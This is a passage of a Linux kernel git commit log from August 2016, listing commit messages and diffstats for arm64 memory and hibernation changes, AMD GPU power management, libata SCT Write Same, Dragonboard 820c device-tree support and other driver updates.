Reviewed-by: Catalin Marinas Signed-off-by: Will Deacon arch/arm64/Kconfig | 1 - arch/arm64/include/asm/pgtable.h | 10 +++++++++ arch/arm64/kernel/hibernate.c | 45 ++++++++++++++++++++++++++++++++-------- arch/arm64/mm/pageattr.c | 41 +++++++++++++++++++++++++++++++++++- 4 files changed, 86 insertions(+), 11 deletions(-) commit b61130381120398876b86282082ad9f24976dfcf Author: James Morse Date: Wed Aug 24 18:27:29 2016 +0100 arm64: vmlinux.ld: Add mmuoff data sections and move mmuoff text into idmap Resume from hibernate needs to clean any text executed by the kernel with the MMU off to the PoC. Collect these functions together into the .idmap.text section as all this code is tightly coupled and also needs the same cleaning after resume. Data is more complicated, secondary_holding_pen_release is written with the MMU on, clean and invalidated, then read with the MMU off. In contrast __boot_cpu_mode is written with the MMU off, the corresponding cache line is invalidated, so when we read it with the MMU on we don't get stale data. These cache maintenance operations conflict with each other if the values are within a Cache Writeback Granule (CWG) of each other. Collect the data into two sections .mmuoff.data.read and .mmuoff.data.write, the linker script ensures mmuoff.data.write section is aligned to the architectural maximum CWG of 2KB. Signed-off-by: James Morse Cc: Ard Biesheuvel Cc: Mark Rutland Reviewed-by: Catalin Marinas Signed-off-by: Will Deacon arch/arm64/include/asm/sections.h | 1 + arch/arm64/kernel/head.S | 25 +++++++++++++++---------- arch/arm64/kernel/sleep.S | 2 +- arch/arm64/kernel/smp_spin_table.c | 3 ++- arch/arm64/kernel/vmlinux.lds.S | 19 +++++++++++++++++++ arch/arm64/mm/proc.S | 4 ++++ 6 files changed, 42 insertions(+), 12 deletions(-) commit ee78fdc71db1ce9a437b9ca17e31063996b71ec1 Author: James Morse Date: Wed Aug 24 18:27:28 2016 +0100 arm64: Create sections.h Each time new section markers are added, kernel/vmlinux.ld.S is updated, and new extern char __start_foo[] definitions are scattered through the tree. Create asm/include/sections.h to collect these definitions (and include the existing asm-generic version). Signed-off-by: James Morse Reviewed-by: Mark Rutland Tested-by: Mark Rutland Reviewed-by: Catalin Marinas Signed-off-by: Will Deacon arch/arm64/include/asm/Kbuild | 1 - arch/arm64/include/asm/sections.h | 29 +++++++++++++++++++++++++++++ arch/arm64/include/asm/traps.h | 6 +----- arch/arm64/include/asm/virt.h | 9 +-------- arch/arm64/kernel/alternative.c | 7 +++---- arch/arm64/kernel/hibernate.c | 6 ------ arch/arm64/kernel/probes/kprobes.c | 5 +---- 7 files changed, 35 insertions(+), 28 deletions(-) commit cab15ce604e550020bb7115b779013b91bcdbc21 Author: Catalin Marinas Date: Thu Aug 11 18:44:50 2016 +0100 arm64: Introduce execute-only page access permissions The ARMv8 architecture allows execute-only user permissions by clearing the PTE_UXN and PTE_USER bits. However, the kernel running on a CPU implementation without User Access Override (ARMv8.2 onwards) can still access such page, so execute-only page permission does not protect against read(2)/write(2) etc. accesses. Systems requiring such protection must enable features like SECCOMP. This patch changes the arm64 __P100 and __S100 protection_map[] macros to the new __PAGE_EXECONLY attributes. A side effect is that pte_user() no longer triggers for __PAGE_EXECONLY since PTE_USER isn't set. To work around this, the check is done on the PTE_NG bit via the pte_ng() macro. VM_READ is also checked now for page faults. Reviewed-by: Will Deacon Signed-off-by: Catalin Marinas Signed-off-by: Will Deacon arch/arm64/include/asm/pgtable-prot.h | 5 +++-- arch/arm64/include/asm/pgtable.h | 10 +++++----- arch/arm64/mm/fault.c | 5 ++--- mm/mmap.c | 5 +++++ 4 files changed, 15 insertions(+), 10 deletions(-) commit 7419333fa15ec958d12845fcc79b7bdd16de06ec Author: Pratyush Anand Date: Mon Aug 22 12:16:00 2016 +0530 arm64: kprobe: Always clear pstate.D in breakpoint exception handler Whenever we are hitting a kprobe from a none-kprobe debug exception handler, we hit an infinite occurrences of "Unexpected kernel single-step exception at EL1" PSTATE.D is debug exception mask bit. It is set whenever we enter into an exception mode. When it is set then Watchpoint, Breakpoint, and Software Step exceptions are masked. However, software Breakpoint Instruction exceptions can never be masked. Therefore, if we ever execute a BRK instruction, irrespective of D-bit setting, we will be receiving a corresponding breakpoint exception. For example: - We are executing kprobe pre/post handler, and kprobe has been inserted in one of the instruction of a function called by handler. So, it executes BRK instruction and we land into the case of KPROBE_REENTER. (This case is already handled by current code) - We are executing uprobe handler or any other BRK handler such as in WARN_ON (BRK BUG_BRK_IMM), and we trace that path using kprobe.So, we enter into kprobe breakpoint handler,from another BRK handler.(This case is not being handled currently) In all such cases kprobe breakpoint exception will be raised when we were already in debug exception mode. SPSR's D bit (bit 9) shows the value of PSTATE.D immediately before the exception was taken. So, in above example cases we would find it set in kprobe breakpoint handler. Single step exception will always be followed by a kprobe breakpoint exception.However, it will only be raised gracefully if we clear D bit while returning from breakpoint exception. If D bit is set then, it results into undefined exception and when it's handler enables dbg then single step exception is generated, however it will never be handled(because address does not match and therefore treated as unexpected). This patch clears D-flag unconditionally in setup_singlestep, so that we can always get single step exception correctly after returning from breakpoint exception. Additionally, it also removes D-flag set statement for KPROBE_REENTER return path, because debug exception for KPROBE_REENTER will always take place in a debug exception state. So, D-flag will already be set in this case. Acked-by: Sandeepa Prabhu Acked-by: Masami Hiramatsu Signed-off-by: Pratyush Anand Signed-off-by: Will Deacon arch/arm64/kernel/probes/kprobes.c | 29 +++++++++++++---------------- 1 file changed, 13 insertions(+), 16 deletions(-) commit 4fab91605a6bcd0c303bcbc292a8bffcf27b3a27 Author: Nicholas Piggin Date: Thu Aug 25 19:53:08 2016 +1000 kbuild: genksyms fix for typeof handling The tokenizer misses counting an open-parenthesis when parsing a non-trivial typeof beginning with an open-parenthesis. This function in include/linux/ceph/libceph.h static type *lookup_##name(struct rb_root *root, typeof(((type *)0)->keyfld) key) When instantiated in net/ceph/mon_client.c, causes subsequent symbols including an EXPORT_SYMBOL in that file to be lost. Signed-off-by: Nicholas Piggin Signed-off-by: Michal Marek scripts/genksyms/lex.l | 35 +++++++++++++++++------------------ 1 file changed, 17 insertions(+), 18 deletions(-) commit c08770eb8a442430420efd826981bbc3b2a1e341 Author: Rex Zhu Date: Wed Aug 24 19:39:06 2016 +0800 drm/amdgpu: refine uvd gate logic for CI. uvd dpm will be controlled by uvd. dpm just disable uvd dpm in case of suspend when play video. due to the new logic of uvd_begin_use/end_use, if disable uvd dpm in late init, will have no chance to enable uvd dpm after resume until play video again. Change-Id: I70e3d7efe63edad37f26e6c5ea089da1135c0ab5 Signed-off-by: Rex Zhu Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/ci_dpm.c | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) commit 075f101ceec0446b4a651ae4a22d4de11b7e7cd6 Author: Rex Zhu Date: Mon Aug 22 20:47:28 2016 +0800 drm/amd/powerplay: simplify struct amd_pp_init. delete the members not needed when amd_powerplay_init. Signed-off-by: Rex Zhu Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_powerplay.c | 4 ---- drivers/gpu/drm/amd/powerplay/hwmgr/hwmgr.c | 3 --- drivers/gpu/drm/amd/powerplay/inc/amd_powerplay.h | 3 --- drivers/gpu/drm/amd/powerplay/inc/hwmgr.h | 3 --- drivers/gpu/drm/amd/powerplay/inc/smumgr.h | 1 - drivers/gpu/drm/amd/powerplay/smumgr/smumgr.c | 1 - 6 files changed, 15 deletions(-) commit 38109efacd9c17e52ec3d9a43ea227a72623d9fd Author: Rex Zhu Date: Mon Aug 22 20:47:01 2016 +0800 drm/amd/powerplay: get system info by cgs interface. Signed-off-by: Rex Zhu Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher .../gpu/drm/amd/powerplay/hwmgr/polaris10_hwmgr.c | 24 ++++++++++++++++++---- 1 file changed, 20 insertions(+), 4 deletions(-) commit 2fef37c62cb6338ca15b30b05ec91b8bcc7b7dbe Author: Rex Zhu Date: Mon Aug 22 20:48:13 2016 +0800 drm/amdgpu: add support for getting sub_device id and sub_vendor_id in cgs interface. Signed-off-by: Rex Zhu Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_cgs.c | 6 ++++++ drivers/gpu/drm/amd/include/cgs_common.h | 2 ++ 2 files changed, 8 insertions(+) commit c04399f19436616875879ee2711c5b78a90dd1b0 Author: Rex Zhu Date: Thu Aug 18 18:27:14 2016 +0800 drm/amdgpu: add vce bypass mode for tonga. fix issue that encode test failed on the second time when vce dpm enabled on tonga. Signed-off-by: Rex Zhu Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/vce_v3_0.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit cbb2fe8e967dbc88f236aa7da1bb3f79b61022f9 Author: Rex Zhu Date: Thu Aug 18 13:02:46 2016 +0800 drm/amd/powerplay: add bypass mode for vce 2.0. fix issue after vce encode, the eclk stay high. Signed-off-by: Rex Zhu Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/vce_v2_0.c | 21 +++++++++++++++++++-- 1 file changed, 19 insertions(+), 2 deletions(-) commit 0174df4e664dfc481b6ee3f9f4528c0b727b6fb0 Author: Rex Zhu Date: Thu Aug 18 12:37:02 2016 +0800 drm/amdgpu: refine function name for consistency Signed-off-by: Rex Zhu Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/vce_v3_0.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit fb79e09a74faf39fbeee975e0ead442b7b7f6aac Author: Peter Rosin Date: Wed Jun 29 15:04:03 2016 +0200 i2c: add i2c_trylock_bus wrapper, use it This unifies usage with i2c_lock_bus and i2c_unlock_bus, and paves the way for the next patch which looks a bit saner with this preparatory work taken care of beforehand. Signed-off-by: Peter Rosin Signed-off-by: Wolfram Sang drivers/i2c/i2c-core.c | 2 +- drivers/i2c/i2c-mux.c | 4 ++-- include/linux/i2c.h | 14 ++++++++++++++ 3 files changed, 17 insertions(+), 3 deletions(-) commit 69713756f4ae908efddd2a304a29ef52a513b2dd Author: Srinivas Kandagatla Date: Tue Jun 21 18:22:49 2016 +0100 arm64: dts: db820c: add support to external sd card. This patch adds support to external sd card. Signed-off-by: Srinivas Kandagatla Signed-off-by: Andy Gross arch/arm64/boot/dts/qcom/apq8096-db820c-pins.dtsi | 39 +++++++++++++++++++++++ arch/arm64/boot/dts/qcom/apq8096-db820c.dtsi | 10 ++++++ 2 files changed, 49 insertions(+) commit 74578565d8c91b1ab36ce3ad513fcd5f37da24c6 Author: Srinivas Kandagatla Date: Tue Jun 21 18:22:48 2016 +0100 arm64: dts: db820c: add support to SPI on HS This patch adds support to SPI on HS expansion connector. Signed-off-by: Srinivas Kandagatla Signed-off-by: Andy Gross arch/arm64/boot/dts/qcom/apq8096-db820c.dtsi | 7 +++++++ 1 file changed, 7 insertions(+) commit a133f63a3573aef3dd259d0b3d0f3483345294d9 Author: Srinivas Kandagatla Date: Tue Jun 21 18:22:47 2016 +0100 arm64: dts: db820c: add support to LS-SPI0 This patch adds support to SPI on LS expansion connector. Signed-off-by: Srinivas Kandagatla Signed-off-by: Andy Gross arch/arm64/boot/dts/qcom/apq8096-db820c.dtsi | 7 +++++++ 1 file changed, 7 insertions(+) commit d3bb71387a745b7225e4cb690e86dbb65aae9a6f Author: Srinivas Kandagatla Date: Tue Jun 21 18:22:46 2016 +0100 arm64: dts: db820c: add support to I2C on HS This patch adds support to i2c bus on High speed connector. Signed-off-by: Srinivas Kandagatla Signed-off-by: Andy Gross arch/arm64/boot/dts/qcom/apq8096-db820c.dtsi | 7 +++++++ 1 file changed, 7 insertions(+) commit 4fe5d83a13ed3de9a6d00f31b562172446e2491f Author: Srinivas Kandagatla Date: Tue Jun 21 18:22:45 2016 +0100 arm64: dts: db820c: add support to LS-I2C1 This patch adds support to LS_I2C1 on LS expansion connector. Signed-off-by: Srinivas Kandagatla Signed-off-by: Andy Gross arch/arm64/boot/dts/qcom/apq8096-db820c.dtsi | 6 ++++++ 1 file changed, 6 insertions(+) commit 75b6f7b7abcd7f9ef18ec44127d9c18cf7f2bdc8 Author: Srinivas Kandagatla Date: Tue Jun 21 18:22:44 2016 +0100 arm64: dts: db820c: add support to LS-I2C0 This patch adds support to LS-I2C0 on LS expansion connector. Signed-off-by: Srinivas Kandagatla Signed-off-by: Andy Gross arch/arm64/boot/dts/qcom/apq8096-db820c.dtsi | 8 ++++++++ 1 file changed, 8 insertions(+) commit 79f734dc282fb2f01fb7d932fc24e52c677bc860 Author: Srinivas Kandagatla Date: Tue Jun 21 18:22:43 2016 +0100 arm64: dts: db820c: add support to LS-UART0 This patch adds support to 4 pin UART0 on LS expansion connector. Signed-off-by: Srinivas Kandagatla Signed-off-by: Andy Gross arch/arm64/boot/dts/qcom/apq8096-db820c.dtsi | 9 +++++++++ 1 file changed, 9 insertions(+) commit 61e55e56461493c08ab07d5b45db5ad1a044aebd Author: Srinivas Kandagatla Date: Tue Jun 21 18:22:42 2016 +0100 arm64: dts: db820c: add basic board support This patch adds apq8096 db820c basic support with serial port. Signed-off-by: Srinivas Kandagatla Signed-off-by: Andy Gross arch/arm64/boot/dts/qcom/Makefile | 1 + arch/arm64/boot/dts/qcom/apq8096-db820c.dts | 21 +++++++++++++++++ arch/arm64/boot/dts/qcom/apq8096-db820c.dtsi | 34 ++++++++++++++++++++++++++++ 3 files changed, 56 insertions(+) commit 7d36dd00ab8d57134cce86ad4febc2f5bbdf3e72 Author: Shaun Tancheff Date: Sun Aug 21 23:23:21 2016 -0500 libata: SCT Write Same handle ATA_DFLAG_PIO Use non DMA write log when ATA_DFLAG_PIO is set. Signed-off-by: Shaun Tancheff Reviewed-by: Hannes Reinecke Acked-by: Tejun Heo drivers/ata/libata-scsi.c | 2 ++ 1 file changed, 2 insertions(+) commit ef2d7392c4ece5c3cd12a6c7ca9366cd8f189aff Author: Shaun Tancheff Date: Wed Aug 24 13:08:14 2016 -0500 libata: SCT Write Same / DSM Trim Correct handling of devices with sector_size other that 512 bytes. In the case of a 4Kn device sector_size it is possible to describe a much larger DSM Trim than the current fixed default of 512 bytes. This patch assumes the minimum descriptor is sector_size and fills out the descriptor accordingly. The ACS-2 specification is quite clear that the DSM command payload is sized as number of 512 byte transfers so a 4Kn device will operate correctly without this patch. Signed-off-by: Shaun Tancheff Acked-by: Tejun Heo drivers/ata/libata-scsi.c | 85 +++++++++++++++++++++++++++++++---------------- 1 file changed, 57 insertions(+), 28 deletions(-) commit 7b20309428598df00ffeb0b01f5948dea6aaf1f7 Author: Shaun Tancheff Date: Sun Aug 21 23:23:19 2016 -0500 libata: Add support for SCT Write Same SATA drives may support write same via SCT. This is useful for setting the drive contents to a specific pattern (0's). Translate a SCSI WRITE SAME 16 command to be either a DSM TRIM command or an SCT Write Same command. Based on the UNMAP flag: - When set translate to DSM TRIM - When not set translate to SCT Write Same Signed-off-by: Shaun Tancheff Reviewed-by: Hannes Reinecke Acked-by: Tejun Heo drivers/ata/libata-scsi.c | 199 +++++++++++++++++++++++++++++++++++++++------- include/linux/ata.h | 43 ++++++++++ 2 files changed, 213 insertions(+), 29 deletions(-) commit 9379e6b8e0f995365dc6158a1463c8dab4f2c8da Author: Shaun Tancheff Date: Sun Aug 21 23:23:18 2016 -0500 libata: Safely overwrite attached page in WRITE SAME xlat Safely overwriting the attached page to ATA format from the SCSI formatted variant. Signed-off-by: Shaun Tancheff Reviewed-by: Hannes Reinecke Acked-by: Tejun Heo drivers/ata/libata-scsi.c | 56 ++++++++++++++++++++++++++++++++++++++++++----- include/linux/ata.h | 26 ---------------------- 2 files changed, 51 insertions(+), 31 deletions(-) commit 6f0359ff73076483902de0c17f9649bf55651e2a Author: Alex Deucher Date: Wed Aug 24 17:15:33 2016 -0400 drm/amdgpu/vce3: add support for third vce ring Not of much use at the moment (we don't really use the second ring either), but may be useful later. Reviewed-by: JimQu Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu.h | 2 +- drivers/gpu/drm/amd/amdgpu/amdgpu_vce.c | 4 ++-- drivers/gpu/drm/amd/amdgpu/vce_v3_0.c | 22 ++++++++++++++++++---- 3 files changed, 21 insertions(+), 7 deletions(-) commit 75c65480ba7d56e2ee164057ce8ab879931a3978 Author: Alex Deucher Date: Wed Aug 24 16:56:21 2016 -0400 drm/amdgpu: track the number of vce rings Rather than using a hardcoded value. This allows different versions to expose more or less rings. No functional change. Reviewed-by: JimQu Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu.h | 1 + drivers/gpu/drm/amd/amdgpu/amdgpu_kms.c | 2 +- drivers/gpu/drm/amd/amdgpu/vce_v2_0.c | 57 +++++++++++++++------------------ drivers/gpu/drm/amd/amdgpu/vce_v3_0.c | 37 +++++++++++---------- 4 files changed, 45 insertions(+), 52 deletions(-) commit 810ddc3ab52dd84f4cd28ee8673678aece457a59 Author: Alex Deucher Date: Tue Aug 23 13:25:49 2016 -0400 drm/amdgpu: rename suspend_kms and resume_kms The old names were dragged over from radeon. The new ones better match the naming conventions used in the driver. No functional change. Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu.h | 4 ++-- drivers/gpu/drm/amd/amdgpu/amdgpu_device.c | 12 ++++++------ drivers/gpu/drm/amd/amdgpu/amdgpu_drv.c | 12 ++++++------ 3 files changed, 14 insertions(+), 14 deletions(-) commit a8c798186b932e048abfd0adbec295e9a0cc847a Author: David Herrmann Date: Thu Aug 25 16:35:05 2016 +0200 drm: reduce GETCLIENT to a minimum The *only* known user of GETCLIENT is libva, which uses it to check whether its own context is authenticated. It used to iterate all clients, look for one that matches its own pid and then check its state. The entire purpose for us to still have a GETCLIENT implementation is to serve libva. So lets not pretend we do anything else: Make this function return information on the caller's context only, fake the PID to the caller's pid so they always match, and just fill in the "authenticated" bit, nothing else. This patch reduces the complexity of GETCLIENT to a bare minimum, avoids any dependency on priv->uid or priv->pid (allows us to get rid of them), and makes libva happy by always *exactly* returning the information it wants. Signed-off-by: David Herrmann Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/20160825143505.7447-1-dh.herrmann@gmail.com drivers/gpu/drm/drm_ioctl.c | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) commit 34b64e5ebffc5e4a9dbf8735561c4159a936248f Author: Aaro Koskinen Date: Wed Aug 24 20:57:47 2016 +0300 ALSA: snd-aoa: enable sound on PowerBook G4 12" Enable sound on PowerBook G4 12". Signed-off-by: Aaro Koskinen Signed-off-by: Takashi Iwai sound/aoa/fabrics/layout.c | 8 ++++++++ sound/aoa/soundbus/i2sbus/core.c | 2 +- 2 files changed, 9 insertions(+), 1 deletion(-) commit 64278fe89b729dddb8dbe5ea52220685f6103d1b Merge: d68478d 528f1de Author: Doug Ledford Date: Thu Aug 25 10:05:23 2016 -0400 Merge branch 'hns-roce' into k.o/for-4.9 commit 528f1deb16e5b82e9fe161ebd8caa5983766f0f0 Author: Salil Date: Wed Aug 24 04:44:50 2016 +0800 IB/hns: Add support of ACPI to the Hisilicon RoCE driver This patch is meant to add support of ACPI to the Hisilicon RoCE driver. Changes done are primarily meant to detect the type and then either use DT specific or ACPI spcific functions. Where ever possible, this patch tries to make use of Unified Device Property Interface APIs to support both DT and ACPI through single interface. This patch depends upon HNS ethernet driver to Reset RoCE. This function within HNS ethernet driver has also been enhanced to support ACPI and is part of other accompanying patch with this patch-set. NOTE: The changes in this patch are done over below branch, https://github.com/dledford/linux/tree/hns-roce Signed-off-by: Salil Mehta Signed-off-by: Doug Ledford drivers/infiniband/hw/hns/hns_roce_device.h | 2 +- drivers/infiniband/hw/hns/hns_roce_eq.c | 2 +- drivers/infiniband/hw/hns/hns_roce_hw_v1.c | 37 ++++++-- drivers/infiniband/hw/hns/hns_roce_hw_v1.h | 2 +- drivers/infiniband/hw/hns/hns_roce_main.c | 127 +++++++++++++++++++++++----- 5 files changed, 136 insertions(+), 34 deletions(-) commit d605916b76593417340397fe281acd2e8a953706 Author: Salil Date: Wed Aug 24 04:44:49 2016 +0800 net: hns: Add support of ACPI to HNS driver RoCE Reset function In the Hip06 SoC, the RoCE Engine is part of the Hisilicon Network Subsystem and is dependent upon DSAF module. Therefore, certain functions like RESET are exposed through the common registers of HNS DSAF module which are memory-mapped by the HNS driver and currently can only be accessed through DT/syscon interface. This patch adds the support of ACPI to the existing RoCE reset function in the HNS driver(please refer NOTE 2). Hisilicon RoCE driver (please refer NOTE 1) shall call this reset function during probe time to reset the RoCE Engine. The HNS Reset function indirectly ends up in calling the _DSM() function part of the DSDT ACPI Table. Actual reset functionality for ACPI is implemented within the ACPI DSDT Table which also has been enhanced to support this change. Support of ACPI in the HNS RoCE driver shall be pushed through a different accompanying below patch: "IB/hns: Add support of ACPI to the Hisilicon RoCE Driver" NOTE 1: HNS RoCE driver has already been accepted by its maintainer Doug Ledford. Please refer below link: https://www.spinics.net/lists/linux-rdma/msg38850.html NOTE 2: RoCE reset function patch has been accepted and now is part of the net-next: https://www.mail-archive.com/netdev@vger.kernel.org/msg123867.html Signed-off-by: Salil Mehta Reviewed-by: Yisen Zhuang Signed-off-by: Doug Ledford drivers/net/ethernet/hisilicon/hns/hns_dsaf_mac.c | 17 +------ drivers/net/ethernet/hisilicon/hns/hns_dsaf_main.c | 47 +++++++++++++------ drivers/net/ethernet/hisilicon/hns/hns_dsaf_main.h | 9 ++-- drivers/net/ethernet/hisilicon/hns/hns_dsaf_misc.c | 53 ++++++++++++++++++++-- drivers/net/ethernet/hisilicon/hns/hns_dsaf_misc.h | 3 +- drivers/net/ethernet/hisilicon/hns/hns_dsaf_reg.h | 4 +- 6 files changed, 92 insertions(+), 41 deletions(-) commit d68478dae369414621ab19a3058ee8ff7ab7b964 Merge: 204f69b 0c41284 Author: Doug Ledford Date: Thu Aug 25 10:02:43 2016 -0400 Merge branch 'mlx5-shared' into k.o/for-4.9 commit 0c41284c8308d6dc5d494f3fb149af33cb5eb102 Merge: 124c134 87d2248 Author: Doug Ledford Date: Thu Aug 25 10:01:23 2016 -0400 Merge tag 'shared-for-4.9-2' of git://git.kernel.org/pub/scm/linux/kernel/git/leon/linux-rdma into mlx5-shared Mellanox ConnectX-4/Connect-IB shared code (SW part) * net/mlx5: Add sniffer namespaces * net/mlx5: Introduce sniffer steering hardware capabilities * net/mlx5: Configure IB devices according to LAG state * net/mlx5: Vport LAG creation support * net/mlx5: Add LAG flow steering namespace * net/mlx5: LAG demux flow table support * net/mlx5: LAG and SRIOV cannot be used together * net/mlx5e: Avoid port remapping of mlx5e netdev TISes * net/mlx5: Get RoCE netdev * net/mlx5: Implement RoCE LAG feature * net/mlx5: Add HW interfaces used by LAG * net/mlx5: Separate query_port_proto_oper for IB and EN * net/mlx5: Expose mlx5e_link_mode * net/mlx5: Update struct mlx5_ifc_xrqc_bits * net/mlx5: Modify RQ bitmask from mlx5 ifc commit 8b2ec318eece89be5e33d5313a25461a55a3177a Author: Bjorn Helgaas Date: Sun Jun 12 16:26:40 2016 -0500 PCI: Add PTM clock granularity information The PTM Control register (PCIe r3.1, sec 7.32.3) contains an Effective Granularity field: This provides information relating to the expected accuracy of the PTM clock, but does not otherwise affect the PTM mechanism. Set the Effective Granularity based on the PTM Root and any intervening PTM Time Sources. This does not set Effective Granularity for Root Complex Integrated Endpoints because I don't know how to figure out clock granularity for them. The spec says: ... system software must set [Effective Granularity] to the value reported in the Local Clock Granularity field by the associated PTM Time Source. but I don't know how to identify the associated PTM Time Source. Normally it's the upstream bridge, but an integrated endpoint has no upstream bridge. Signed-off-by: Bjorn Helgaas drivers/pci/pcie/ptm.c | 31 +++++++++++++++++++++++++++++-- include/linux/pci.h | 1 + include/uapi/linux/pci_regs.h | 1 + 3 files changed, 31 insertions(+), 2 deletions(-) commit 8c87a44c96f2863198183add3e5c59f5982c6d00 Author: Peter Ujfalusi Date: Tue Aug 23 10:39:39 2016 -0300 [media] m2m-deinterlace: Fix error print during probe v4l2_err() can not be used for printing error for missing interleaved support in DMA as this point the pcdev->v4l2_dev is not valid. Signed-off-by: Peter Ujfalusi Acked-by: Sakari Ailus Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/m2m-deinterlace.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit b1cb50beaf0e82161f4da0e10188cce1c33db44a Author: Hans Verkuil Date: Tue Aug 23 03:48:37 2016 -0300 [media] redrat3: fix sparse warning Fix this sparse warning: drivers/media/rc/redrat3.c:490:18: warning: incorrect type in assignment (different base types) drivers/media/rc/redrat3.c:495:9: warning: cast to restricted __be32 Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/rc/redrat3.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit a769de07edfd7881d17bf6c6fa014a0e176beb8b Author: Jannik Becher Date: Sun Aug 21 15:44:20 2016 -0300 [media] drivers: hackrf: fixed a coding style issue changed 'unsigned' to 'unsigned int' to obtain the coding style. Signed-off-by: Jannik Becher Signed-off-by: Mauro Carvalho Chehab drivers/media/usb/hackrf/hackrf.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 4b3d173d0440d37534906b6d93c02dfb577c68ce Author: Paul Mackerras Date: Thu Aug 18 16:04:41 2016 +1000 KVM: PPC: Always select KVM_VFIO, plus Makefile cleanup As discussed recently on the kvm mailing list, David Gibson's intention in commit 178a78750212 ("vfio: Enable VFIO device for powerpc", 2016-02-01) was to have the KVM VFIO device built in on all powerpc platforms. This patch adds the "select KVM_VFIO" statement that makes this happen. Currently, arch/powerpc/kvm/Makefile doesn't include vfio.o for the 64-bit kvm module, because the list of objects doesn't use the $(common-objs-y) list. The reason it doesn't is because we don't necessarily want coalesced_mmio.o or emulate.o (for example if HV KVM is the only target), and common-objs-y includes both. Since this is confusing, this patch adjusts the definitions so that we now use $(common-objs-y) in the list for the 64-bit kvm.ko module, emulate.o is removed from common-objs-y and added in the places that need it, and the inclusion of coalesced_mmio.o now depends on CONFIG_KVM_MMIO. Reviewed-by: Paolo Bonzini Reviewed-by: David Gibson Signed-off-by: Paul Mackerras arch/powerpc/kvm/Kconfig | 1 + arch/powerpc/kvm/Makefile | 19 ++++++++----------- 2 files changed, 9 insertions(+), 11 deletions(-) commit 44336c24a931eb51feba6574bcf4d63c4bca432f Author: Philipp Zabel Date: Thu Jul 28 15:32:36 2016 +0200 reset: meson: add driver Kconfig option Visible only if COMPILE_TEST is enabled, this allows to include the driver in build tests. Acked-by: Neil Armstrong Reviewed-by: Masahiro Yamada Signed-off-by: Philipp Zabel drivers/reset/Kconfig | 6 ++++++ drivers/reset/Makefile | 2 +- 2 files changed, 7 insertions(+), 1 deletion(-) commit cd7f4b81cf927a0296b50b95862ef4f1b064ea27 Author: Philipp Zabel Date: Thu Jul 28 15:32:01 2016 +0200 reset: lpc18xx: add driver Kconfig option Visible only if COMPILE_TEST is enabled, this allows to include the driver in build tests. Acked-by: Joachim Eastwood Reviewed-by: Masahiro Yamada Signed-off-by: Philipp Zabel drivers/reset/Kconfig | 6 ++++++ drivers/reset/Makefile | 2 +- 2 files changed, 7 insertions(+), 1 deletion(-) commit 70d467ea16c7bc1c21ccde69e01fa41a1b3b9df7 Author: Philipp Zabel Date: Thu Jul 28 15:31:12 2016 +0200 reset: berlin: add driver Kconfig option Visible only if COMPILE_TEST is enabled, this allows to include the driver in build tests. Cc: Antoine Tenart Cc: Sebastian Hesselbarth Reviewed-by: Masahiro Yamada Signed-off-by: Philipp Zabel drivers/reset/Kconfig | 6 ++++++ drivers/reset/Makefile | 2 +- 2 files changed, 7 insertions(+), 1 deletion(-) commit e27b4a6e634735b730cdae7b9d852a000c06cadd Author: Philipp Zabel Date: Thu Jul 28 15:30:08 2016 +0200 reset: ath79: add driver Kconfig option Visible only if COMPILE_TEST is enabled, this allows to include the driver in build tests. Acked-by: Aban Bedel Reviewed-by: Masahiro Yamada Signed-off-by: Philipp Zabel drivers/reset/Kconfig | 7 +++++++ drivers/reset/Makefile | 2 +- 2 files changed, 8 insertions(+), 1 deletion(-) commit 9e9ba091aa4f3b998b56fdd99374660ed1b20899 Author: Philipp Zabel Date: Tue Aug 9 11:17:22 2016 +0200 reset: ath79: add missing include The driver uses readl/writel, so it should include linux/io.h. Acked-by: Aban Bedel Signed-off-by: Philipp Zabel drivers/reset/reset-ath79.c | 1 + 1 file changed, 1 insertion(+) commit d10571fc4fba7d57fb8157f0be61dcbe4a7965ca Author: David Herrmann Date: Thu Aug 4 10:06:57 2016 +0200 drm: make DRI1 drivers depend on BROKEN The legacy DRI1 drivers expose highly broken interfaces to user-space. No modern system should enable them, or you will effectively allow user-space to circumvent most of your kernel security measures. The DRI1 kernel APIs are simply broken. User-space can always use vesafb/efifb/simplefb and friends to get working graphics. Lets hide the old drivers behind CONFIG_BROKEN. In case they turn out to be still used (really?), we can easily revert this and figure out a way to move them out of sight (e.g., moving all DRI1 drivers to drivers/gpu/dri1/). Signed-off-by: David Herrmann Acked-by: Chris Wilson Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/20160804080657.9664-2-dh.herrmann@gmail.com drivers/gpu/drm/Kconfig | 1 + 1 file changed, 1 insertion(+) commit d92d9c3a14488e5af9d7015189f50e02346950f2 Author: David Herrmann Date: Thu Aug 4 10:06:56 2016 +0200 drm: hide legacy drivers with CONFIG_DRM_LEGACY Lets move forward and hide the remaining DRI1 drivers behind a config option, so we have a central place to disable them all. Furthermore, we can provide a clear warning to anyone enabling them. Signed-off-by: David Herrmann Reviewed-by: Chris Wilson Signed-off-by: Daniel Vetter Link: 